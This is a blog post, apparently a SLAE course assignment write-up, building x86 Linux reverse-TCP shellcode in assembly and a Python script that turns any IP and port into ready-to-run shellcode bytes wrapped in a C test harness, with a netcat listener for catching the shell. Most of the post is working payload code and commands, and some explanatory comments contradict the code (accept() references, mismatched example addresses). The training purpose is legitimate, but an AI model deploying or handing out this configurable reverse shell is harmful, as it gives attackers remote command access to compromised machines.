SLAE Assignment 2 : Create a Shell_Reverse_TCP shellcode

Assignment 2 requires another shellcode program to be written, this time setting up a reverse network connection. The assignment problem is as follows:

  •  Create a Shell_Reverse_TCP shellcode
    • Reverse connects to the configured IP and Port
    • On a successful connection it executes a shell which can be accessed from the remote machine over the network connection.
  • IP and Port should be easily configurable

Assignment Approach

Assignment 2 is very similar to first assignment with the difference being the shellcode will setup a client network connection and connect to a server on a specified IP address and TCP port. As discussed in the previous assignment the socketcall() system call can be setup in a number of ways depending on how the connection should function. In the assignment 1, the connection was setup in ‘passive’ mode which functions as a server waiting to receive network connections. Assignment 2 requires that the network connection actively makes a network connection to an IP address and TCP port which is setup to listen on a remote server. Again, I will write the program directly in assembly.

Setting up TCP IP Connections using socketcall() for a client connection

The network connection setup process which will be used in this assignment is only slightly different to that in the previous assignment. The Ubuntu man pages 7 TCP provides an overview of the network connection setup process and the associated system-calls which must be made for a client network connection that connects to an IP and TCP port.

The information in the table below is an overview of the man pages for the tcp, socketcall() and connect() system-calls which are required for the reverse bind-shell shellcode. We are only required to make two socketcall() sub-function calls to setup a client network connection.

socketcall() System-Calls Action Details
socket() Creates a socket. A newly created TCP socket has no remote or local address and is not fully specified. When a socket is created, it exists in a name space, the address family but has no address assigned to it.
connect() Connects the defined socket to the specified remote network service. Creates a client connection to the specified IP address and TCP port using the specified file descriptor.

socketcall() overview

I won’t repeat the overview of how the socketcall() system call functions as it was covered in quite a lot of detail in assignment 1. However, we need to know which socketcall() sub-function IDs for functions are required, which were found in the ‘net.h’ file.

socketcall() sub-function Sub-function ID
socket() 0x1
connect() 0x3

Call 1: socket()

The socket() sub-function is exactly the same as assignment 1 and will be executed using a similar process. socket() has the following prototype:

int socket(int domain, int type, int protocol);

socket() Return Value

socket() returns a file descriptor to the new socket which was created. The file descriptor must be stored as it will be used in the subsequent sub-function calls.

socket() arguments data structure

The socket() function requires the following arguments are stored as a data structure. In the shellcode the argument data structure will be stored on the stack. As the stack grows from high to lower memory addresses the arguments must be placed on the stack in reverse order and each individual argument must be stored with the required size instruction.

# Argument Name Type Size Argument Details
1 domain int dword 0x02 0x02 sets AF_INET which specifies that the connection will bind to an IP V4 network address. The details for can be found in the socket() man pages entry
2 type int dword 0x01 SOCK_STREAM: Defines that a TCP connection will be used
3 protocol int dword 0x00 The protocol to be used with the socket

socket() system-call register values:

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 1 socket() sub-function ID
ECX Value set at run time Memory Address of argument_data_structure on the stack

socket() Instructions

I’ve worked through the first system call I can put the required assembly together. I’ve added comments for each instruction instead of providing a description of each instruction so that the instructions are listed for the entire system call.

Notice in the comments that there is a distinction between the arguments for the socketcall() function and the socket() sub function. They are written as:

socketcall(Socketcall arg#1, socketcall arg#2)
sub-function(Sub-Function arg#1, Sub-function arg#2, Sub-Function arg#3.......)
socket(socket() arg#1, socket() arg#2........)

As the names are similar the difference can easily be missed.

socket:
push BYTE 0x66   ; Store 0x66 on the stack
pop eax          ; Set system call ID value 0x66
cdq              ; Zero EDX, cdq converts a double-word to quad-word storing the 
                 ; result in EDX:EAX. As EAX contains 0x66 EDX is set to 0x0. 
                 ; cdq is a 1-byte instruction. 
mov ebx, edx     ; Zero EBX
inc ebx          ; Set the socketcall() arg#1 sub-function ID to 1 for sys_socket()
                 ; The next set of instructions create the Argument data structure on the stack
push edx         ; Store the socket() arg#3 'protocol' value 0x0 on the stack
push ebx         ; Store the socket() arg#2 'type' value 0x1 on the stack
push BYTE 0x2    ; Set the socket() arg#1 'domain' value 0x2 on the stack 
mov ecx, esp     ; Set the socketcall() arg#2 argument data structure pointer
int 0x80         ; Execute system call            

Call 2: connect()

The 2nd socketcall() system call required for the shellcode is connect(). It is used to make a connection to a device which hosts a network service. It has the following prototype:

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

The prototype is actually identical to the bind() system call used in assignment 1, which means we have already setup the required data structures so they can be reused. The main difference being the IP address and TCP should be that of the ‘remote’ server the shellcode will connect to.

connect() Return Value

On success, zero is returned.  On error -1 is returned and errno is set appropriately.

connect() Arguments

The connect() system call has the following arguments. The 1st and the 3rd are relatively straight forward, however the 2nd is a little more complex as it is a pointer to another struct type.

Argument Name Type Size Argument Details
1 sockfd int dword Value returned to EAX from the previous socket() system-call. Memory address of the file descriptor returned by the previous socket() system-call
2 *addr sockaddr_in struct dword Memory address Pointer to the argument data structure
3 addrlen socklen_t struct int, see here for details 16 Size of the argument data structure in bytes.

connect() *addr Argument sockaddr Data structure

The ‘addr*’ argument is a pointer to a ‘sockaddr’ data structure. The sockaddr data structure is defined within man pages 7 IP and has the following definition:

Address format: An IP socket address is defined as a combination of an IP interface address and a 16-bit port number.  The basic IP protocol does not supply port numbers, they are implemented by higher level protocols like udp(7) and tcp(7).  On raw sockets sin port is set to the IP protocol.

 The ‘sockaddr’ data structure has the following definition. Again the 1st and 2nd arguments are straigh forward. The 3rd arugment appears to be more complex as it is another data structure of type ‘in_addr’. However, the value used ix zero as which will bind the socket to all available IP addresses, which is a good approach to go for.

struct sockaddr_in {
    sa_family_t sin_family;    /* address family: AF_INET */
    in_port_t sin_port;        /* port in network byte order */
    struct in_addr sin_addr;   /* see internet address for definition*/
};

‘in_addr’ structure definition

struct in_addr {
    uint32_ s_addr;     /* address in network byte order */
};

Again, the sockaddr data structure will be stored on the stack with the arguments stored in reverse order. Additionally the port number must have the bytes reversed as it needs to be stored in ‘network byte’ order.

Setting the IP Address

An example IP address of 20.0.10.15 the 2nd octet must be set to zero. As the value can include any zero’s in the assembly code  this presents problem. My solution is to mask and then switch any zero’s for FF and then perform a two step zero process

Zero Process :

  • Step 1: AND the FF or 1111 with AA or 1010 1010 which results in 10101010 or AA
  • Step 2: AND the result AA or 10101010 with 55 or 01010101 to give 00000000

The reason for taking this approach is it is very easy to set any IP address value we want within the shellcode even if it includes ‘0’ as the ‘configureIP_Port’ program which is used to set the IP address will just switch any ‘0x0’ values with 0xFF values, the shellcode will then zero the values in the EBX register and push the correct IP address to the stack.

Note: Using this approach does add a limitation that the IP address the shellcode connects to cannot contain ‘255’ or 0xFF in hexadecimal as it will be replaced with a ‘0x0’ by the shellcode.

Setting the Port:

If the hex number for the port number is a 0xFFFF the number of instructions for the push word is reduced to 3-Bytes, as below

66 6a ff    pushw  0xffff

However, when the port number’s first and second bytes aren’t the same, e.g. 0x3582 the instructions are different:

66 68 82 35    pushw  0x3582

For the smallest shellcode the port number 0xFFFF or 65535 should be used. The ‘configureIP_Port’program will take this into account and output the correct shellcode required for the different port number options described above.

sockaddr Data structure values

sockaddr members Type Size Argument Details
sin_family sa_family word 0x2 Always set to AF_INET which is 2
sin_port in_port_t word 0x3582 or

33333

TCP Port number to connect to. The port must be  entered in network byte order i.e. in reverse
sin_addr struct in_addr dword 0x0a01010a
10.1.1.10
The IP address in network byte order.

connect() system-call register values:

The register values for the connect() system call are as follows, with the actual value for the ECX register being set at run time by setting the stack pointer address in the ECX register.

Register Value Details
EAX 0x66 socketcall() system-call ID number
EBX 2 connect() sub-function ID
ECX Value set a run time using the stack pointer memory address after the data structure is stored on the stack. Memory Address of argument_data_structure

connect() Instructions

Lets put together the assembly instructions for the connect() system call.

connect:
    XOR ebx, ebx              ; ZERO EBX
    mov ebx, DWORD 0xc820FF0a ; Use EBX because the value is set below. 
    and ebx, 0xc820AA0a       ; Step 1 of setting masked byte to 0x0 zero, see above
    and ebx, 0xc820550a       ; Step 2 of setting masked byte to 0x0 zero, see above
    push ebx                  ; Store connect() arg#2 sockaddr member sin_addr
                              ; value 10.0.20.200 on the stack
    push WORD 0xFFFF          ; Store connect() arg#2 sockaddr member sin_port
                              ; on the stack value 0x8235 or 33333
    push  WORD 0x2            ; Store connect() arg#2 sockaddr member sin_family
                              ; value to 0x2 for AF_INET
    mov edi, esp              ; Store connect() arg#2 *addr pointer address of the
                              ; sockaddr data structure in the EDI register
    push BYTE 0x10            ; Set connect() arg#3 addrlen value, 16 bytes on the 
                              ; stack
    push edi                  ; Set connect() arg#2 *addr pointer address 
                              ; on the stack
    push eax                  ; Set connect() arg#1 sockfd file descriptor 
                              ; on the stack
                              ; EAX stores the file descriptor returned 
                              ; by the socket() system call. 
    mov al, BYTE 0x66         ; Set the system call ID 0x66. As the previous 
                              ; value was the File descriptor which will be a low
                              ; value, the register doesn't need to be zero'd prior
                              ;  to copying the 0x66 Byte 
    XOR ebx, ebx              ; Zero the EBX register
    mov bl, BYTE 0x3          ; Set the sys_socketcall() arg#1 sub-function ID to 3
                              ;  for sys_connect()
    mov ecx, esp              ; Set the sys_socketcall() arg#2 argument data 
                              ; structure pointer
    int 0x80                  ; Execute system call

Redirecting the stdin, stdout and stderr to use the Network Connection

The network connection is complete and ready to accept incoming network connections. The accept() system call is only executed once an incoming connection to the IP address and TCP port is received. Once an incoming connection is received the stdin, stdout and stderr I/O streams must be redirected to use the file descriptor for the network connection returned from the accept() system call.  The dup2() system call does exactly that.

Call 3: dup2()

The dup2() system call performs the following steps:

  • Closes the current file descriptor referred to by the newfd argument
  • Copies the file descriptor set in the oldfd argument value to the new file descriptor referred to by newfd.
  • Once the dup2() system call has completed the oldfd and newfd can be used interchangeably as they are identical.

As all input and output should be redirected to the new file descriptor a loop will be used to perform a dup2() system call for stdin, stdout and stderr.

The dup2() system call has the following function protoype:

int dup2(int oldfd, int newfd);

The system call is pretty straight forward compared to some of the socketcall() system calls.

dup2() system-call register values:

Register Value Details
EAX 0x3f dup2() system-call ID number
EBX 4 Old file descriptor value, returned by the accept() system call.
ECX 0, 1, 2 New file descriptor value for stdin, stdout and stderr.

dup2() instructions

The instructions below are split into two parts.

  1. Setup for the loop
  2. Loop which redirects the stdin, stdout and stderr to the file descriptor returned by the accept() system call.
; Redirect std file descriptors to the newly created socket, returned from accept
; EBX already has the correct value for the file descriptor, see PROGRAM NOTES at 
; the top of the file. 
dup2_loop_setup:
    push edx             ; Store 0x0 on stack 
    pop ecx              ; Zero ECX
    mov cl, BYTE 0x2     ; Set the loop counter value to 0x2, will count down to 0

dup2_loop:               ; Loop 3 times to set the stdin, stdout and stderr to the 
                         ; file descriptor returned by the accept() call
    mov al, BYTE 0x3f    ; Set sys_dup2 ID 0x3f, arg #1, 
    int 0x80             ; Execute dup2 sys_call
    dec ecx              ; decrement loop counter
    jns dup2_loop        ; Jumps back 'loop' when the sign flag isn't set, the ECX
                         ; register is decremented and overflows from 0 to 
                         ; 0xFFFFFFFF

Call 4: execve

The final system call of the shellcode is to execute a shell application in this case /bin/sh. The execve() is used to execute another application and has the following function prototype:

int execve(const char *filename, char *const argv[], char *const envp[]);

execve() arguments

# Argument Name Type Size Argument Details
1 *filename pointer dword  value in ESP The filename string is stored on the stack and the ESP address set as the pointer
2 argv[] pointer dword No arguments are set, so a ‘0’ is stored on the stack and the ESP address set in the ECX register
3 envp[] pointer dword Again, no arguments are set. So the same ‘0’ as in the previous argument will be used. The address in ESP will be set in the EDX register.

execve() register values

Register Value Details
EAX 0xb dup2() system-call ID number
EBX Pointer value set at run time A pointer to the filename on the stack. The filename is padded with ‘/’ characters to make the lenght a factor of 4, which ensures alignment of the filename on the stack.
ECX Pointer value set at run time A pointer to 0x0 on the stack
EDX Pointer value set at run time A pointer to 0x0 on the stack, the same as above to reduce the number of instructions required.

execve() instructions

The execve() instructions are relatively straight forward. As mentioned above the 3rd and 4th arguments will point to the same 0x0 value on the stack to reduce the number of instructions.

The file name is made of the following ASCI codes:

2f 2f 62 69 6e 2f 73 68

Which translates to ‘//bin/sh’. The repeated ‘/’ character is used to pad the file name string to be a multiple of ‘4’ to ensure correct allignment on the stack and is ignored by the execve() system call resulting in the path /bin/sh.

Also notice that the filename string is pushed onto the stack in reverse order:

push 0x68732f6e 
push 0x69622f2f

The execve() system call doesn’t have a return type as the program’s execution moves to the newly executed program and doesn’t ever return to the shellcode.

; sys_execve sys_call
push edx            ; Store a NULL string terminator on the stack 
mov edx, esp        ; Set the sys_execve() envp[] pointer in EDX, arg #3
mov ecx, esp        ; Set the sys_execve() argv[] pointer in ECX, arg #2
                    ; Set arg#2 and arg #3 to the same pointer as neither 
                    ; contain a value, which reduces the number of instructions 
                    ; in the shellcode. 
push 0x68732f6e     ; Store the sys_execve filename string on the stack
push 0x69622f2f     ; Store the sys_execve filename string on the stack
mov ebx, esp        ; Set the sys_execve() file name pointer argument, arg #1
   
mov al, BYTE 0x0b   ; Set the execve() system call ID 0xb
int 0x80            ; Execute system call.

Verifying the shellcode doesn’t contain bad characters

Now the shellcode instructions are complete we need to check that there aren’t any NULL Bytes within the instructions. Before checking for NULL bytes we need to ensure that the program has been assembled without using nasm’s ‘-ggdb’ option as it the option adds two debugging sections to the executable, ‘.stab’ and ‘.stabstr’,  which contain lots of NULL Bytes. The ‘objdump’ tool piped to the ‘grep’ command allows us to see if there are any NULL Bytes within the shellcode.

objdump -D ./reverse_bindshell_tcp -M intel | grep 00

The command doesn’t return anything, therefore there aren’t any NULL values within the shellcode. The file containing the assembly instructions from the compiled executable can be found here: slae_a2_objdump_instructions.txt

The instructions were extracted from the executable using the following command:

objdump -D ./reverse_bindshell_tcp -M intel

Testing the shellcode

The shellcode instructions will be placed in the shellcode.c template used in the course and executed. The program calculates the number of instructions in the shellcode, which is of interest as the fewer the better.

As the shellcode is connecting to another machine as a client a listening network service must be setup before the shellcode is executed. The listening service can be setup using the Net Cat command below where the port number must be set to that being used within the shellcode.

nc -lvp 65535

As can be seen in the screenshot below the netcat server has been setup to listen on port 65535.

slae-a2-reverse_shell_server

The shellcode is executed giving the number of instructions as 89.

slae-a2-reverse_shellcode

The connection is setup and will execute shell commands on the remote machine running the shellcode. The screenshot below shows the ls command listing the contents of the folder the shellcode was executed from.

slae-a2-reverse_shell_ls-command

IP and Port Configuration

The final component of the assignment is to allow the IP address and the TCP port to be configured. I chose to write the program using Python. I’ve been meaning to learn Python for some time and hadn’t got round to starting and thought this would be a good opportunity to have a first attempt, so the code below is probably pretty low quality and not very well written. However it does the job and allows the IP address and TCP port to be configured along with performing some checking to ensure the chosen values don’t cause problems for the shellocode. It was written using Python 3

The usage for the python script is

python3 ip_tcp_config.py <port> <IP_Address>

The ip_tcp_config script will check for port numbers which contain NULL bytes and return an error, as seen in the screenshot below:

slae-a2-python_ip_tcp_config

Script Output

The python script prints the shellcode instructions to the screen and also creates a file in the directory the script is being run called ‘reverse_bindshell_tcp.c’. The script will overwrite any file in the local directory with the same name, so ensure that no other file with the same name is present before running. The C source file can then be compiled using the following command:

gcc -fno-stack-protector -z execstack reverse_bindshell_tcp.c -o reverse_bindshell_tcp

Once compiled the netcat command with the correct port and IP address must be run so that the shellcode can connect to the configured IP address and TCP port.

IP and TCP Port Config Script

I’m not going to provide a detailed breakdown of how the ip_tcp_config.py script works as it contains relatively detailed comments within the script. The source code for the script is as follows:

from sys import argv
import sys
import getopt
import string

# ------------------------------------------------------------------------------------------------------
# Method to Check for Valid IP addresses
# ------------------------------------------------------------------------------------------------------
def validate_ip(s):
 pieces = s.split('.')
 if len(pieces) != 4: return False
 try: return all(0<=int(p)<256 for p in pieces)
 except ValueError: return False
# ------------------------------------------------------------------------------------------------------
# Initial Processing of Command-Line Arguments
# ------------------------------------------------------------------------------------------------------
if len(sys.argv) != 3:
 print("Usage: <TCP Port Number> <IP Address>")
 print("License:  http://creativecommons.org/licenses/by-sa/3.0/")
 exit()

# Store Command Line Arguments
path, port, ip_address= argv 
# Cast the port argument to an int
portNumber = int(port)
# Convert port into hexadecimal value
port_hex = hex(int(portNumber))

# ------------------------------------------------------------------------------------------------------
# Shellcode strings
# ------------------------------------------------------------------------------------------------------
shellcode_pt1 = "\\x6a\\x66\\x58\\x99\\x89\\xd3\\x43\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xdb\\xbb"
shellcode_pt2_ip1 = ["\\x##", "\\x##", "\\x##", "\\x##"] # Holds IP Address with NULLs replaced with FF
shellcode_pt3 = "\\x81\\xe3"
shellcode_pt4_ip2 = ["\\x##", "\\x##", "\\x##", "\\x##"] # Holds IP Address with NULLS masked with AA for Bitwise AND
shellcode_pt5 = "\\x81\\xe3"
shellcode_pt6_ip3 = ["\\x##", "\\x##", "\\x##", "\\x##"] # Holds IP Address with NULLS masked with 55 for Bitwise AND
shellcode_pt7 = "\\x53\\x66"
shellcode_pt8 = "\\x68" # pushw opcode for any port < 65535
shellcode_pt8_65535 = "\\x6a" # pushw opcode for port 65535
shellcode_pt9_port = "\\xee\\xee" # Holds port number 
shellcode_pt10 = "\\x66\\x6a\\x02\\x89\\xe7\\x6a\\x10\\x57\\x50\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x52\\x59\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x89\\xe2\\x89\\xe1\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\xb0\\x0b\\xcd\\x80"

# ------------------------------------------------------------------------------------------------------
# INPUT VALIDATION: Check that the port is within the range 1-65535
# ------------------------------------------------------------------------------------------------------

# INPUT VALIDATION: Validate Port Number is in correct Range
if portNumber < 256 or portNumber >65535:
 print("ERROR: The TCP port number argument should be between 256 and 65535")
 exit()
 
# INPUT VALIDATION: Check for NULL Bytes within Hexadecimal port number 
if not portNumber % 256:
 print("ERROR: Due to selected port number the shellcode will contain a 0x00 Byte")
 print("Port Number should not be devisble by 256")
 exit()

# INPUT VALIDATION: Check IP address
if not validate_ip(ip_address): 
 print("ERROR: IP ADDRESS not correct format")
 exit()

# ------------------------------------------------------------------------------------------------------
# Create Hexadecimal Port number string in Network BYTE order
# ------------------------------------------------------------------------------------------------------
port_65535 = False # Used to record if the port number is 65535, as shellcode must be different

if portNumber > 255 and portNumber < 4096:
 port_hex = "\\x0" + port_hex[2] + "\\x" + port_hex[3] + port_hex[4] 
elif portNumber == 65535:
 port_hex = "\\xFF"
 port_65535 = True # Record that the port number is 65535
else:
 port_hex = "\\x"+ port_hex[2] + port_hex[3] + "\\x" + port_hex[4] + port_hex[5]
shellcode_pt9_port = port_hex
 
# ------------------------------------------------------------------------------------------------------
# Create Hexadecimal IP Address string in Network BYTE order
# ------------------------------------------------------------------------------------------------------

# Split the IP address into each octet and save as a list
ip_split = ip_address.split('.')
ip_Null_Octect = [False, False, False, False] # Used to store the location of any NULL Octetcs

# Convert each IP address octet to hexadecial 
for i in range (0, 4):
 temp = int(ip_split[i]) # convert string to an int, required temporary variable
 ip_split[i] = hex(temp)[2:].zfill(2) # Cast to hexadecimal BYTE and store in original location
 
 if ip_split[i] == '00': # Check if the IP address octect is aNULL Bytes, replace with 0xFF. 
 ip_split[i] = 'FF'
 ip_Null_Octect[i] = True # Record Location of NULL Byte for later processing. 
 
ip_address_list = ["\\x##", "\\x##", "\\x##", "\\x##"] # Used to store IP address in hex
# Construct IP Address list variable
for i in range(0,4): # Iterate through the list and set the IP address octect
 ip_address_list[i] = "\\x" + ip_split[i]

# Create IP Address 
shellcode_pt2_ip1 = ip_address_list # Store the IP address part
# Change IP address into Network Byte order
shellcode_pt2_ip1 = [shellcode_pt2_ip1[0], shellcode_pt2_ip1[1], 
 shellcode_pt2_ip1[2], shellcode_pt2_ip1[3]] 
shellcode_pt2_ip1 = "".join(shellcode_pt2_ip1) # Convert from a list to a string

# Create IP Address for Bitwise AND part #1, replace NULL Bytes with 'xAA'
for i in range(0,4): 
 if ip_Null_Octect[i]: # Check if original octect was a NULL Byte
 ip_address_list[i] = "\\xaa" # Replace Byte to 'xaa'

shellcode_pt4_ip2 = ip_address_list
shellcode_pt4_ip2 = [shellcode_pt4_ip2[0], shellcode_pt4_ip2[1], 
 shellcode_pt4_ip2[2], shellcode_pt4_ip2[3]] # Construct IP Address instructions
shellcode_pt4_ip2 = "".join(shellcode_pt4_ip2) # convert from a list to a string

# Create IP Address for Bitwise AND part #2, replace 'xAA' Bytes with 'x55'
for i in range(0,4): 
 if ip_Null_Octect[i]: # Check if original octect was a NULL Byte
 ip_address_list[i] = "\\x55" # Replace Byte to 'x55'

shellcode_pt6_ip3 = ip_address_list
shellcode_pt6_ip3 = [shellcode_pt6_ip3[0], shellcode_pt6_ip3[1], 
 shellcode_pt6_ip3[2], shellcode_pt6_ip3[3]] # Construct IP Address instructions
shellcode_pt6_ip3 = "".join(shellcode_pt6_ip3) # convert from a list to a string

# ------------------------------------------------------------------------------------------------------
# Print shellcode
# ------------------------------------------------------------------------------------------------------
if port_65535: #Print shellcode for port 65535
 print('"' + shellcode_pt1 + shellcode_pt2_ip1 + shellcode_pt3 + shellcode_pt4_ip2 
 + shellcode_pt5 + shellcode_pt6_ip3 + shellcode_pt7 + shellcode_pt8_65535 
 + shellcode_pt9_port + shellcode_pt10 + '"')
else: # Print shellcode for all other port values. 
 print('"' + shellcode_pt1 + shellcode_pt2_ip1 + shellcode_pt3 + shellcode_pt4_ip2 
 + shellcode_pt5 + shellcode_pt6_ip3 + shellcode_pt7 + shellcode_pt8 
 + shellcode_pt9_port + shellcode_pt10 + '"')

# ------------------------------------------------------------------------------------------------------
# Create C Source File
# ------------------------------------------------------------------------------------------------------

name = "reverse_bindshell_tcp.c" # Define Source File Name
fn = open(name, 'w')# Create the C source File

# Write C source code to file
fn.write("#include<stdio.h>\n#include<string.h>\n\n")
fn.write("unsigned char code[] = \\\n")

# Test to see which version of the shellcode to write depending on port number
if port_65535: #Print shellcode for port 65535
 fn.write('"' + shellcode_pt1 + shellcode_pt2_ip1 + shellcode_pt3 + shellcode_pt4_ip2 
 + shellcode_pt5 + shellcode_pt6_ip3 + shellcode_pt7 + shellcode_pt8_65535 
 + shellcode_pt9_port + shellcode_pt10 + '";')
else: # Print shellcode for all other port values.
 fn.write('"' + shellcode_pt1 + shellcode_pt2_ip1 + shellcode_pt3 + shellcode_pt4_ip2 
 + shellcode_pt5 + shellcode_pt6_ip3 + shellcode_pt7 + shellcode_pt8 
 + shellcode_pt9_port + shellcode_pt10 + '";')

fn.write("\n\nint main()\n{\n")
fn.write(" printf(\"Shellcode Length: %d\\n\", strlen(code));\n")
fn.write(" int (*ret)() = (int(*)())code;\n")
fn.write(" ret();\n}\n")
fn.close

Source Code

The source code for the ‘reverse tcp’ shellcode and ‘ip_tcp_portconfig.py’ script can be found in the following Git Hub repository

https://github.com/raidersofthelostarg/slae/tree/master/assignment-2

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-793

Advertisements
This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s